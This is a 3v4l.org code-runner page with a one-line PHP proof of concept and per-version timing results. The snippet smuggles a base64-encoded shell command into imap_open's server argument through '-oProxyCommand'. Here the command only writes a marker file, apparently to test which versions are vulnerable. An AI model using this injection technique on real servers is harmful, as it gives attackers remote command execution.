3v4l.org

run code in 300+ PHP versions simultaneously
<?php $server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}"; imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00318.34
8.3.50.0120.00318.07
8.3.40.0140.00518.78
8.3.30.0110.00418.84
8.3.20.0050.00321.66
8.3.10.0080.00023.37
8.3.00.0070.00023.66
8.2.180.0100.01018.54
8.2.170.0070.00722.96
8.2.160.0060.00920.25
8.2.150.0090.00024.18
8.2.140.0040.00424.66
8.2.130.0080.00019.72
8.2.120.0070.00026.35
8.2.110.0040.00721.88
8.2.100.0040.00717.84
8.2.90.0060.00317.50
8.2.80.0000.00817.97
8.2.70.0040.00417.93
8.2.60.0060.00318.03
8.2.50.0040.00418.10
8.2.40.0070.00019.39
8.2.30.0040.00419.18
8.2.20.0070.00019.69
8.2.10.0040.00419.24
8.2.00.0030.00519.28
8.1.280.0070.00725.92
8.1.270.0060.00918.83
8.1.260.0080.00026.35
8.1.250.0000.00728.09
8.1.240.0080.00022.48
8.1.230.0080.00517.47
8.1.220.0080.00017.79
8.1.210.0060.00318.77
8.1.200.0030.00617.22
8.1.190.0040.00420.04
8.1.180.0050.00318.10
8.1.170.0060.00318.72
8.1.160.0040.00418.75
8.1.150.0040.00418.70
8.1.140.0070.00023.93
8.1.130.0000.00719.93
8.1.120.0040.00417.46
8.1.110.0080.00017.28
8.1.100.0050.00217.29
8.1.90.0040.00417.29
8.1.80.0040.00417.32
8.1.70.0040.00417.32
8.1.60.0040.00417.54
8.1.50.0060.00317.45
8.1.40.0000.00717.41
8.1.30.0040.00417.66
8.1.20.0060.00317.67
8.1.10.0060.00317.61
8.1.00.0040.00417.49
8.0.300.0070.00018.77
8.0.290.0030.00616.63
8.0.280.0070.00018.44
8.0.270.0030.00317.08
8.0.260.0060.00018.29
8.0.250.0000.00716.88
8.0.240.0060.00016.98
8.0.230.0000.00716.97
8.0.220.0000.00716.92
8.0.210.0000.00716.85
8.0.200.0000.00716.84
8.0.190.0070.00016.84
8.0.180.0020.00516.87
8.0.170.0060.00316.95
8.0.160.0040.00416.98
8.0.150.0030.00516.90
8.0.140.0040.00416.78
8.0.130.0030.00313.34
8.0.120.0050.00316.88
8.0.110.0000.00716.80
8.0.100.0000.00816.89
8.0.90.0060.00316.89
8.0.80.0040.01116.83
8.0.70.0000.00716.82
8.0.60.0070.00016.78
8.0.50.0000.00716.79
8.0.30.0120.00616.90
8.0.20.0100.01016.78
8.0.10.0070.00017.01
8.0.00.0090.00816.67
7.4.330.0020.00215.55
7.4.320.0000.00616.46
7.4.300.0030.00316.61
7.4.290.0000.00716.44
7.4.280.0040.00416.51
7.4.270.0060.00016.42
7.4.260.0030.00316.58
7.4.250.0040.00416.48
7.4.240.0020.00516.56
7.4.230.0030.00316.61
7.4.220.0000.00716.68
7.4.210.0030.01216.60
7.4.200.0030.00316.71
7.4.160.0080.01016.55
7.4.140.0090.01017.86
7.4.130.0090.00916.50
7.4.120.0200.00316.39
7.4.110.0030.01316.65
7.4.100.0150.00316.46
7.4.90.0190.00016.50
7.4.80.0100.00919.39
7.4.70.0120.00616.50
7.4.60.0070.01416.43
7.4.50.0060.01016.33
7.4.40.0110.00916.46
7.3.330.0000.00513.15
7.3.320.0060.00013.10
7.3.310.0030.00316.22
7.3.300.0000.00716.29
7.3.290.0070.00016.21
7.3.280.0110.00616.24
7.3.260.0100.00716.39
7.3.240.0110.00816.38
7.3.230.0120.00416.33
7.3.210.0080.00816.41
7.3.200.0050.01116.48
7.3.190.0110.00616.36
7.3.180.0030.01316.42
7.3.170.0130.00916.54
7.3.160.0090.00616.60
7.3.00.2910.00714.13
7.2.330.0070.01116.49
7.2.320.0100.00716.31
7.2.310.0060.00916.46
7.2.300.0080.01416.26
7.2.290.0120.01016.25

preferences:
37.29 ms | 400 KiB | 5 Q